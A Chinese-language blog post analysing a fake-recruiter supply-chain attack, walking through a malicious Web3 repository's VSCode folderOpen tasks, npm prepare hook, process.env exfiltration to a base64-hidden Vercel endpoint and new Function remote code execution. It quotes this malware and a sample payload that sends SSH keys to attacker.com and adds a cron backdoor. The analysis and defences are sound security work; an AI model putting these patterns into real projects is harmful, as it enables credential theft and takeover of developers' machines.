一次针对开发者的供应链攻击解剖
这件事发生在我身上。起因是 LinkedIn 上一条来自某个叫 Kevin 的人的消息(该资料现已删除),对方给我推荐一个去中心化质押平台的技术负责人岗位——预算 630 万美元、完全远程、工作时间灵活。话术很规整,机会听上去也很正经。我约了面试——但通话开始时,出现的却是另一个人。这是第一个危险信号。谈话很快转向审阅他们的代码库。我的第一反应是用 GitHub Codespaces 打开这个项目——那是一个沙箱环境,下文描述的任何攻击向量都碰不到我的机器。但那个仓库并没有这个选项,于是我转而把它克隆到本地。
克隆完仓库后,攻击者特意要求我用 VSCode 打开它。当时这个要求显得有点怪——我用什么编辑器,跟别人有什么关系?恰好我用的是 JetBrains 的产品,也没装 VSCode,所以我拒绝了。事后证明这一下救了我:通过 .vscode/tasks.json 的攻击向量(详见下文)只在 VSCode 中生效——在那里,配置了 "runOn": "folderOpen" 的任务会在文件夹被打开时自动执行。 JetBrains 系列 IDE 完全忽略 .vscode/tasks.json。攻击者是在把我往那个唯一能不经任何用户操作就触发其载荷的编辑器上引。
这条路走不通后,攻击者换了策略。他要我确认一下 Node 版本——一个看似无害的请求,同时也用来确认我装好了 Node.js、随时可用。接着他提出替我运行 npm install,要求共享屏幕。由于我知道 npm install 可能执行 postinstall 之类的生命周期钩子,而我完全不清楚他们的依赖会执行什么,所以我拒绝了。 我请他给我时间,在下次通话前先审阅项目——但他坚持要当场就办。我再次拒绝。他随即下线,此后再无音讯。
这就是社会工程学的升级套路:当自动触发条件失效(没有 VSCode、没有 npm install)时,攻击者就退一步,手动引导目标完成执行这一步。每个请求单独听都显得热心且合理——确认兼容性、帮忙搭环境——但唯一的目的是想尽一切办法让 npm install 在目标机器上跑起来。而一旦目标不配合,攻击者就消失——这场戏没有再演下去的必要了。
我很好奇他们究竟想达成什么,于是请 Claude 分析了这个项目。本文就是那份分析的拆解——一份在面试中被送到我手上「让我审阅」的真实恶意代码库。攻击者的目标是:窃取我机器上的凭据并取得远程代码执行权限——而这一切,只需运行 npm install 或用 VSCode 打开项目就会被触发。
这个项目自称「DLabs Platform」,是一个用 React、Node.js、Express 和 MongoDB 搭建的 Web3 游戏 / 质押 / 博彩平台。README 写得很规整,依赖看起来合理,代码结构显得很专业。而在这层表象之下,两条彼此独立的攻击链协同工作,用来拿下任何接触这个项目的开发者。
社会工程学这一层
攻击在任何代码运行之前就已经开始。攻击者把仓库发给目标——通常包装成面试作业、待审阅的外包项目,或是一次合作机会。README 则用来强化可信度:
## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start标准的说明,没有任何可疑之处。项目有专业的结构,包含 src/、server/、public/ 目录,有 react、express、mongoose、ethers 这样真实的依赖,甚至还有一个 .gitignore。它看上去和 GitHub 上几十个 Web3 脚手架项目没什么区别。
攻击向量 1:VSCode 任务自动执行
我们来看 .vscode/tasks.json。
这是最阴险的一条,因为它根本不需要开发者执行任何命令——用 VSCode 打开这个文件夹就够了。
任务 1:静默的 npm install
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
}当 VSCode 打开这个文件夹时,它会在后台运行 npm install --silent --no-progress。presentation 里的设置保证了最大程度的隐蔽:
"reveal": "silent"—— 不显示终端面板"echo": false—— 不回显所执行的命令"focus": false—— 不抢占焦点"showReuseMessage": false—— 抑制终端复用提示"clear": true—— 执行完清空终端
npm 的 --silent 和 --no-progress 两个标志则抑制 npm 自身的输出。这个任务运行 npm install,触发 prepare 钩子,钩子启动恶意服务器,服务器把凭据外传并执行远程代码。全过程静默、在后台完成,而开发者此刻正在读 README。
VSCode 默认会在运行 folderOpen 任务前弹出询问,但很多开发者不读就点了「Allow」。要彻底禁用自动任务,在 VSCode 设置中加入 "task.allowAutomaticTasks": "off"。你也可以设置 "security.workspace.trust.enabled": true 来启用 Workspace Trust——之后 VSCode 会默认把克隆下来的仓库视为不可信,并禁用任务自动执行、终端配置文件以及工作区试图配置的扩展。
任务 2:直接下载 shell 载荷
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L '...' | bash"
},
"linux": {
"command": "wget -qO- '...' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L ... | cmd"
},
"runOptions": {
"runOn": "folderOpen"
}
}这个任务直接从攻击者的第二个 Vercel 部署(vscodesettings-tasks-j227.vercel.app)下载并执行一个 shell 脚本。它还会区分平台:
- macOS:
curl -L | bash - Linux:
wget -qO- | sh - Windows:
curl --ssl-no-revoke -L | cmd(--ssl-no-revoke标志会绕过证书吊销检查)
横向滚动障眼法
在 tasks.json 的原始文件里,恶意命令前面被填充了大约 200 个空格,然后才是 "command" 键:
"linux": {
"command": "wget -qO- '...' | sh"
}在文本编辑器或代码审查工具中,"command" 键被推到了可见区域右边缘之外很远的地方。翻看这个文件的开发者会看到:
"linux": {
}那条命令看起来就是个空对象。你必须横向滚动——或者开启自动换行——才能看到真正的载荷。这是一种已知的混淆手法,专门针对未开启自动换行的编辑器中的代码审查。
攻击向量 2:npm 生命周期钩子
我们来看 package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}prepare 脚本是 npm 内置的生命周期钩子——它在 npm install 完成后自动运行,不需要任何用户交互。开发者运行 npm install,以为只是在下载依赖,而 npm 在结束时悄悄执行了 node server/server.js。
但还要注意另一点:每一个脚本(start、build、test、eject)也都以 node server/server.js | 开头。管道操作符会在真正的命令之前把服务器作为副作用启动起来。无论开发者运行哪个 npm 脚本,恶意服务器都会启动。从攻击者的角度看,这就是纵深防御。
为什么偏偏是 prepare?
npm 有若干生命周期钩子:preinstall、postinstall、prepare、prepublish。选择 prepare 是经过盘算的:
preinstall/postinstall是众所周知的攻击向量,越来越多地被安全工具和npm audit标记出来prepare受到的审视更少——它常被用于正当目的,比如构建 TypeScript 或安装 Husky 的 git 钩子- 它在依赖安装完成之后运行,也就是说恶意代码所依赖的
express、axios等包此时都已可用
第 1 步:环境变量外泄
假设服务器已经启动——接下来会发生什么。我们看 server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});两个看起来无害的工具函数。setApiKey 解码一个 Base64 字符串,verify 发一个 POST 请求。但看看 axios.post 的第二个参数:
{ ...process.env }作用在 process.env 上的展开运算符,会把开发者机器上的每一个环境变量作为 POST 请求体发出去。开发者习惯把凭据放在环境变量里——大多数 CLI 工具和 SDK 的认证机制本来就是这样设计的。AWS CLI 读取 AWS_ACCESS_KEY_ID,OpenAI SDK 读取 OPENAI_API_KEY,Stripe 读取 STRIPE_SECRET_KEY,以此类推。这意味着一个典型开发者的环境里可能包含:
- AWS 凭据(
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY) - 各类 API 密钥(OpenAI、Stripe、云服务商)
- 数据库连接字符串
- 会话密钥和 JWT 密钥
- SSH agent 的套接字路径
- PATH、HOME 及其他系统变量
函数名故意起得很平淡。verify 听起来像是在校验一个 API 密钥,setApiKey 听起来像个 setter。在代码审查中,它们能完美地融入周围的认证逻辑。
请求头 "x-app-request": "ip-check" 是另一处误导——它暗示这个请求是例行的 IP 校验,而不是一次数据外传操作。
第 2 步:用 Base64 混淆的端点
被窃取的凭据送到哪里去了?我们看 .env:
AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=Base64 解码后是:
https://ip-checking-notification-j1.vercel.app/api攻击者把收集端点托管在 Vercel 上——一个正当、受信任的托管平台。这有几个好处:
- Vercel 的 URL 不会被大多数防火墙和安全工具标记
- 子域名
ip-checking-notification-j1听起来像个无害的服务 - Vercel 的免费额度不需要身份验证,使溯源变得困难
- Vercel 上的部署是临时的,很容易换个新 URL 重新部署
Base64 编码本身不是什么强混淆——任何开发者对它执行一次 atob() 就能解出来。但它达到了目的:在 .env 文件里快速 grep 一遍 URL,并不会暴露出可疑域名。它看起来像个 API 密钥,而不像一个 URL。
.env 文件本身就是道具
注意 .env 并不在 .gitignore 里。.gitignore 谨慎地排除了:
.env.development.local
.env.test.local
.env.production.local但没有排除 .env 本身。这是故意的。.env 文件被提交进了仓库,里面是看起来很真实的演示密钥:
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890这些假密钥有两个作用:
- 让项目看起来更可信——一个有真实集成的真实项目
- 展示这个项目「需要」哪些类型的凭据,从而把环境中存在密钥这件事正常化
第 3 步:通过动态构造函数实现远程代码执行
现在来看这一切是如何串起来的。我们看 server/routes/api/auth.js:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}这是最危险的一环。我们来追一遍执行流程:
setApiKey(process.env.AUTH_API)—— 解码出 Base64 形式的端点 URLverify(decodedUrl)—— 把所有环境变量 POST 到攻击者的服务器- 攻击者的服务器在
response.data中返回一段 JavaScript 代码 new Function("require", response.data)—— 以响应体为源代码构造出一个新函数executor(require)—— 执行该函数,并把 Node.js 的require作为参数传进去
把 require 传给这个动态构造的函数之后,攻击者的代码就能加载任意 Node.js 模块:fs 访问文件系统、child_process 执行 shell 命令、os 获取系统信息、net 进行网络操作。攻击者对开发者的机器拥有完全、不受限制的访问权。
攻击者的服务器能回传什么
由于 require 可用,响应载荷能做 Node.js 所能做的一切:
// 读取 SSH 密钥
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
// 执行 shell 命令
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));
// 安装持久化后门
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');new Function() 构造器本质上就是语法更干净的 eval()。它是众所周知的代码坏味道,但在一个有 Express 路由、中间件和控制器的大型代码库里,它完全可能从粗略的审查中溜过去——尤其是当它被包在名为 validateApiKey 和 verify 的函数里时。
错误消息也是社会工程学
console.log("Aborting mempool scan due to failed API verification.");「mempool scan」是 Web3 的行话。如果这个恶意请求失败了(比如攻击者的服务器挂了),错误消息会与你对一个区块链应用的预期融为一体。开发者看到「failed API verification」,会以为是配置问题,而不是一次没有完成的攻击。
完整的攻击流程
把所有环节拼在一起,完整的攻击流程如下:
开发者收到项目链接
│
├─ 用 VSCode 打开文件夹
│ │
│ ├─ 任务 1:静默 npm install
│ │ └─ prepare 钩子 → 启动服务器
│ │ └─ 把 process.env POST 给攻击者
│ │ └─ 收到 JS 载荷
│ │ └─ new Function()(require) → RCE
│ │
│ └─ 任务 2:curl/wget | bash → 直接下载 shell 脚本
│
└─ 运行 npm install
└─ prepare 钩子 → 启动服务器(与上面同一条链)攻击者在这次攻击中做了冗余设计:
- 两个彼此独立的触发点:VSCode 打开文件夹,以及
npm install - 三个彼此独立的载荷:环境变量外泄、动态 JS 执行、直接下载 shell 脚本
- 所有 npm 脚本均已被污染:
start、build、test、eject都会启动服务器
一条向量失效,其他仍会执行。攻击者的 Vercel 端点挂了,他仍然拿得到环境变量。开发者不用 VSCode,npm 钩子照样会触发。
失陷指标
如果你运行过 npm install,或者用 VSCode 打开过这个项目,请检查:
- 出向连接:网络日志中是否有指向
*.vercel.app域名的连接 - 未知的 cron 任务:在 Linux/macOS 上执行
crontab -l - 异常进程:查找长期驻留的后台进程
- 被修改的 shell 配置:
.bashrc、.zshrc、.profile是否被改动 - 新增的 SSH 密钥或 authorized_keys 条目
- 浏览器扩展的安装或修改
请轮换执行当时存在于环境变量中的所有凭据。
一个正确的直觉:GitHub Codespaces
在克隆到本地之前,我的第一反应是用 GitHub Codespaces 打开这个项目——那是一个运行在一次性容器中的云端开发环境。这本来会是一个极好的决定。即便五个攻击向量全部触发,损害也会被限制在一台用完即弃的虚拟机里,那里接触不到我真正的凭据、SSH 密钥和本地文件系统。
然而这个仓库并没有提供 Codespaces 按钮。GitHub Codespaces 是按仓库配置的——是否启用由所有者或组织决定。如果你看不到「Code > Codespaces」这个选项,说明仓库所有者没有启用它(或者组织策略禁用了它)。在这个案例里,攻击者没有任何理由去启用它。这就迫使我把项目克隆到本地——而这正是攻击者想要的。把目标从沙箱环境推向他自己的机器,本身就是社会工程学的一部分。
这凸显了一个重要规律:如果有人发给你一个项目让你审阅,而你无法轻松地在 Codespaces 或 GitPod 之类的沙箱环境中打开它,这件事本身就该让你警觉。正当的合作者通常没有理由阻止你使用云端开发环境。
如果这跑在 Deno 上会怎样?
值得一问:像 Deno 这样默认安全的运行时,在这里会有帮助吗?答案是:会,而且帮助很大。Deno 要求为敏感操作显式提供权限标志:--allow-env 才能读取环境变量,--allow-net 才能发起网络请求,--allow-read 和 --allow-write 才能访问文件系统,--allow-run 才能派生子进程。没有这些标志,运行时会拒绝该操作并抛出错误。
在这次攻击中,第 1 步(外泄 process.env)没有 --allow-env 就会失败。发往攻击者 Vercel 端点的出向 POST 没有 --allow-net 就会失败。而第 3 步——动态构造的函数调用 require('fs') 或 require('child_process')——没有 --allow-read、--allow-write 和 --allow-run 也会失败。整条攻击链会在多个环节同时崩掉。
不过,Deno 对攻击向量 2(VSCode 任务)帮不上忙。.vscode/tasks.json 中的载荷直接执行 shell 命令——curl | bash、wget | sh——完全绕开了运行时层面的任何沙箱。而 npm 生命周期钩子(prepare 脚本)是 npm 的特性,不是 Node.js 的特性——它把 package.json 中指定的内容当作 shell 命令来执行,所以 Deno 的权限模型在那里同样不适用。
结论:像 Deno 这样基于权限的运行时,能彻底瓦解服务端那条攻击链,但编辑器层面和包管理器层面的向量运行在运行时的控制范围之外。
教训与防御
- 用 GitHub Codespaces、GitPod 或容器打开不可信的项目——如果没有这个选项,问问自己为什么
- 绝不要在不可信的代码上运行
npm install,除非先读过package.json里的脚本 - 禁用 VSCode 的自动任务:Settings >
"task.allowAutomaticTasks": "off"——VSCode 默认会在运行「打开文件夹」类任务前询问,但很多开发者不读就点了「Allow」 - 首次安装不可信项目时使用
npm install --ignore-scripts,以跳过生命周期钩子 - 在编辑器中开启自动换行,以便发现横向滚动混淆
- 检查克隆项目中的
.vscode/目录——任务配置可以执行任意命令 - 审阅不可信代码时使用沙箱环境(容器、虚拟机,或独立的 WSL 实例)
- 在 Node.js 项目中留意
new Function()、eval()和child_process的引入——它们在某些场景下是正当的,但同时也是常见的攻击原语 - 对配置文件中的 Base64 值保持警惕——在运行项目之前先把它们解码